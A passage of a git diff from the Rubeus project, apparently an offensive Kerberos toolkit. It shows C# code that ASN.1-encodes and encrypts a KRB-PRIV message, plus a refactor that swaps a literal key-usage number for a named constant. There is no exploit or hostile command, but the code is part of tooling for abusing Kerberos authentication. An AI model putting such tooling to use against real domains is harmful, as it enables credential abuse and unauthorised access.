AsnElt.MakeImplicit(AsnElt.CONTEXT, 1, msg_typeSeq); + + // enc-part [3] EncryptedData -- EncKrbPrivPart + AsnElt enc_partAsn = enc_part.Encode(); + + // etype + AsnElt etypeAsn = AsnElt.MakeInteger((int)etype); + AsnElt etypeSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeAsn }); + etypeSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 0, etypeSeq); + + // now encrypt the enc_part (EncKrbPrivPart) + // KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART = 13; + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART, ekey, enc_partAsn.Encode()); + AsnElt blob = AsnElt.MakeBlob(encBytes); + AsnElt blobSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { blob }); + blobSeq = AsnElt.MakeImplicit(AsnElt.CONTEXT, 2, blobSeq); + + AsnElt encPrivSeq = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { etypeSeq, blobSeq }); + AsnElt encPrivSeq2 = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { encPrivSeq }); + encPrivSeq2 = AsnElt.MakeImplicit(AsnElt.CONTEXT, 3, encPrivSeq2); + + + // all the components + AsnElt total = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { pvnoSeq, msg_typeSeq, encPrivSeq2 }); + + // tag the final total ([APPLICATION 21]) + AsnElt final = AsnElt.Make(AsnElt.SEQUENCE, new AsnElt[] { total }); + final = AsnElt.MakeImplicit(AsnElt.APPLICATION, 21, final); + + return final; + } + + public long pvno { get; set; } + + public long msg_type { get; set; } + + public EncKrbPrivPart enc_part { get; set; } + + public Interop.KERB_ETYPE etype { get; set; } + + public byte[] ekey { get; set; } + } +} \ No newline at end of file diff --git a/Rubeus/lib/krb_structures/PA_DATA.cs b/Rubeus/lib/krb_structures/PA_DATA.cs index cbd1301..9ea92b4 100755 --- a/Rubeus/lib/krb_structures/PA_DATA.cs +++ b/Rubeus/lib/krb_structures/PA_DATA.cs @@ -31,9 +31,9 @@ namespace Rubeus byte[] rawBytes = temp.Encode().Encode(); byte[] key = Helpers.StringToByteArray(keyString); - // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1 + // KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP == 1 // From https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L55 - byte[] encBytes = Crypto.KerberosEncrypt(etype, 1, key, rawBytes); + byte[] encBytes = Crypto.KerberosEncrypt(etype, Interop.KRB_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP, key, rawBytes); value = new EncryptedData((int)etype, encBytes); }